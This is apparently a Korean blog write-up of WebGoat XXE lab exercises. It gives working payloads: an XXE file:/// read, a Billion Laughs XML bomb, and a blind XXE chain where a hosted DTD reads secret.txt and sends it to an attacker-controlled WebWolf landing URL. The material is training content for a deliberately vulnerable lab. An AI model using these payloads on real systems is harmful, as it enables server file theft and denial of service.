[ 복습 ]
7. Modern REST framework
Assignment solution
1)
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
{"text":"My first comment"}
오류
javax.xml.bind.UnmarshalException\n - with linked exception:\n[javax.xml.stream.XMLStreamException:
ParseError at [row,col]:[1,1]\nMessage: Content is not allowed in prolog.
또는
JSON parse error: Unexpected character '{' (code 123) in prolog; expected
'<'\n at [row,col {unknown-source}]: [1,1]; nested exception is com.fasterxml.jackson.core.JsonParseException:
Unexpected character '{' (code 123) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]��
xml 형식인데 아니여서 나는 오류 xml 형식인 '<' 사용
2)
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<text>This is my first message</text>
오류
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[com.sun.istack.SAXParseException2;
lineNumber: 1; columnNumber: 7; unexpected element (uri:\\\"\\\", local:\\\"text\\\").
Expected elements are <{}comment>]
<comment> 태그 필요
3) 공격 구문
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
Content-Type: application/xml
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>
[ 이론 ]
XXE DOS attack
도스 공격 구문 (Billion laughs)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
root 요소는 "lolz"이고 이는 "&lol9;" 텍스트를 포함한다. "&lol9;"는 "&lol8;" 열개를 포함하는 문자열로 확장한다. "&lol8;"은 열개의 "&lol7;"을 말한다. 모든 엔티티의 요소가 확장하면 이 작은 구문이 대략 3Gigabyte가 된다.
https://en.wikipedia.org/wiki/Billion_laughs
Billion laughs attack - Wikipedia
Denial-of-service attack at XML parsers, exploiting entity expansion In computer security, a billion laughs attack is a type of denial-of-service (DoS) attack which is aimed at parsers of XML documents.[1] It is also referred to as an XML bomb or as an exp
en.wikipedia.org
https://www.geeksforgeeks.org/xml-external-entity-xxe-and-billion-laughs-attack/
XML External Entity (XXE) and Billion Laughs attack - GeeksforGeeks
A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.
www.geeksforgeeks.org
Blind XXE
공격이 성공했음에도 불구하고 필드가 페이지 출력에 반영되지 않아 출력이 표시되지 않는 경우도 있다. 또는 읽으려는 리소스에 잘못된 XML 문자가 포함되어 parser 실패할 수도 있다. (EX) 자체 서버에서 제어하는 외부 DTD를 참조한다.
공격자로서 당신은 당신의 통제 하에 WebWolf를 서버처럼 가지고 있고, 이 서버를 사용해 http://127.0.0.1:9090/home을 사용해 ping을 보낼 수 도 있다.
이 엔드포인트를 사용하여 XXE 수행할 수 있을지 확인하려면 어떻게 해야하는가?
WebWolf를 다시 사용하여 attack.dtd라는 파일을 호스팅하고 다음 내용의 파일을 만들 수 있다.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM '<a href="http://127.0.0.1:9090/landing" target="_blank" rel="noopener">
<a href="http://127.0.0.1:9090/landing" class="bare">http://127.0.0.1:9090/landing</a></a>'>
이제 XML을 다음으로 변경하는 양식을 submit한다.
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "webWolfLink:[webWolfLink]">
%remote;
]>
<comment>
<text>test&ping;</text>
</comment>
'Incoming requests'를 확인하면
{
"method" : "GET",
"path" : "/landing",
"headers" : {
"request" : {
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
},
},
"parameters" : {
"test" : [ "HelloWorld" ],
},
"timeTaken" : "1"
}
따라서 XXE를 통해 자체 서버를 ping 할 수 있고, 이는 XXE injection이 가능하다는 것을 의미한다. XXE Injection을 통해 curl 명령으로 처음과 같은 효과를 얻을 수 있다.
XML문서에서 DTD(Document Type Definition : 문서 타입 정의)를 사용하여 XML문서의 새로운 타입을 만들 수 있다.
DTD의 사용을 통해 XML문서의 구문 및 구조를 정의한다고 할 수 있다.
* DTD
DTD의 외부엔티티는 SYSTEM 키워드를 사용하여 문서 외부의 파일을 참조할 수 있다. 이를 이용하여 최상위디렉터리를 외부엔티티로 참조하면 파일들을 열람할 수 있다.
[ 문제 ]
Blind XXE assignment
이 전 페이지에서 XXE 공격으로 서버를 ping 하는 방법을 알려줬다. 이 과제에서는 파일 내용을 업로드하는 DTD를 만들어라. txt를 웹고트 서버에서 웹울프 서버로 전송하라. secret.txt는 webgota 서버의 다음 위치에 존재한다.
Location : C:\Users\WooJaYoung/.webgoat-8.2.0//XXE/secret.txt
WebWolf landing 페이지를 사용하여 이 파일을 업로드하라. 일단 파일의 내용을 가져와 페이지에 새 주석으로 게시하면 과제를 해결할 수 있다.
[ 풀이 ]
1) 댓글 작성 후 body형식 확인
2) attack13.dtd 파일을 생성하여 WebWolf 서버에 업로드 한다.
attack13.dtd 파일 생성 - secret.txt 파일을 열람하여 landing 페이지에 값을 노출시킨다.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % open SYSTEM "file:///c:/Users/WooJaYoung/.webgoat-8.2.0//XXE/secret.txt">
// 현재 열람하고자하는 secret.txt 파일의 위치를 입력하여
// open 엔티티를 참조하면 SYSTEM 키워드로 지정된 c:__ 파일을 참조한다.
<!ENTITY % unzip "<!ENTITY run SYSTEM 'http://127.0.0.1:9090/landing?rst=%open;'>">
// run : webwolf의 landing 페이지에 open 엔티티를 호출, 전달하는 url링크로 외부 리소스를 참조한다.
// unzip : run 엔티티를 함축해 담고있다.
%unzip;
// unzip을 호출함으로써 자동적으로 run도 호출됨.
서버에 업로드
3) 파일이 업로드된 곳의 link 복사
http://localhost:9090/files/qwer1234/attack13.dtd
4) comment를 다는 곳의 xml을 악의적으로 변경
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [
// comment라는 태그를 정의한다.
<!ENTITY % setDtd SYSTEM "http://localhost:9090/files/qwer1234/attack13.dtd">
// attack13.dtd 파일 - secret.txt 파일을 열람하여 landing 페이지에 값을 노출시킨다.
// setDtd라는 엔티티를 사용하여 attack13.dtd파일을 실행시킬 수 있다.
%setDtd;
// setDtd 실행
]>
<comment>
// comment 태그 사용
<text>&run;</text>
// run : landing 페이지로 이동하는 엔티티 (attack13.dtd 파일에 정의됨)
</comment>
5) landing 페이지로 노출된 secret 파일의 내용 확인
6) url 디코딩
'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글
Crypto Basics - 6 (0) | 2022.02.21 |
---|---|
Insecure Direct Object References - 2, 3, 4, 5 (0) | 2022.02.19 |
XXE - 7. Modern REST framework (0) | 2022.02.19 |
XXE - 4. Let's try (0) | 2022.02.19 |
JWT tokens - 10. Refreshing a token (0) | 2022.02.14 |